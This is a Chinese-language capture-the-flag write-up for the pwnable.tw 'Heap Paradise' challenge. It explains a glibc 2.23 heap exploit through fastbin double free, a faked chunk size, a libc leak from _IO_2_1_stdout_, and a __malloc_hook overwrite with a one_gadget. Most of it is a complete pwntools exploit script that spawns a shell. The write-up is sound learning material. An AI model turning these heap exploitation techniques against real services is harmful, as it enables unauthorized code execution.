PWNABLE.TW-Heap Paradise-WP

Posted on Mar 23, 2021

第二次碰到这题,上次无思路放弃了,这次觉得不能放弃了,就学习了一下,也算是开拓一下利用的思路吧。

又是如此,只有分配和回收,保护全开。和昨天做的 Re-alloc Revenge 很像,不过此题 libc 版本为 2.23,难度陡增。

free 中未对指针置零,存在 double free,意味着可以比较容易地通过 fastbin double free 实现任意地址写。那么难点就在 leak 上了。没什么思路,面向 WP 解题后了解到,其实有 double free 就是可以构造出一个大小足够的 chunk 的。这其实和 tache struct attack 很像,昨天刚刚学的知识今天没有用上,想想也是很遗憾,融会贯通的能力还是不够。

考虑到 fastbinfd 是指向下一个堆块的,类似于 arbitrary alloc 的,覆写 fd 的一个字节,使之指向一个真实的 chunk 的上部,这样就可以修改那个真实的 chunk 的 size 域了,如果我们事先伪造好,使修改过 size 后该 chunk 仍合法,再 free 这个 chunk 就可以获得一个 unsorted bin 了,之后的 _IO_FILE 攻击和劫持 __malloc_hook 就是老方法了。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = 'debug'

#sh = process("./heap_paradise")
sh = remote("chall.pwnable.tw",10308)
libc = ELF("./libc_64.so.6")
#libc = ELF("/glibc/2.23/amd64/lib/libc.so.6")

def alloc(size,payload):
    sh.sendlineafter("Choice:",str(1))
    sh.sendlineafter("Size :",str(size))
    sh.sendafter("Data :",payload)

def free(index):
    sh.sendlineafter("Choice:",str(2))
    sh.sendlineafter("Index :",str(index))

alloc(0x68,'\n') #0
alloc(0x68,'\x00' * 0x40 + p64(0xA0) + p64(0x21)) #1

free(0)
free(1)
free(0)
  
alloc(0x68,'\x20') #2
alloc(0x68,'\n') #3 pass
alloc(0x68,p64(0) * 2 + p64(0) + p64(0x71)) #4 pass
alloc(0x68,'\x00') #5 now we have this ptr point to heap_base + 0x20

free(0)

alloc(0x68,p64(0) + p64(0) + p64(0) + p64(0xA1)) #6 this chunk is in fact the chunk 0 
free(5)

'''after the work above we got the address of main_arena + 88'''

free(0)
free(1)
alloc(0x78,'\x00' * 0x40 + p64(0) + p64(0x71) + '\xa0') #7 chunk 0
free(7)
alloc(0x68,'\x00' * 0x20 + p64(0) + p64(0x71) + p64(libc.symbols["_IO_2_1_stdout_"] - 0x43)[:2]) #8
alloc(0x68,'\n') #9
alloc(0x68,'\x00' * 0x33 + p64(0xfbad1887) + p64(0) * 3 + '\x88') #10

_IO_2_1_stdin_addr = u64(sh.recv(8))
libc_base = _IO_2_1_stdin_addr - libc.symbols["_IO_2_1_stdin_"]
log.success("libc_base:" + hex(libc_base))
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xef6c4

free(0)
free(1)
free(0)
alloc(0x68,p64(__malloc_hook - 0x23)) #11
alloc(0x68,'\n') #12
alloc(0x68,'\n') #13
alloc(0x68,'\x00' * 0x13 + p64(one_gadget)) #14

sh.sendlineafter("Choice:",str(1))
sh.sendlineafter("Size :",str(1))


sh.interactive()

同时本题对堆块申请的数量限制非常严格,要注意最后分配到 __malloc_hook 的时候可以直接对开始申请的几个 chunk 进行 free,不需要重复申请(我蠢到先 free 在申请会在再 double free,就超出次数了)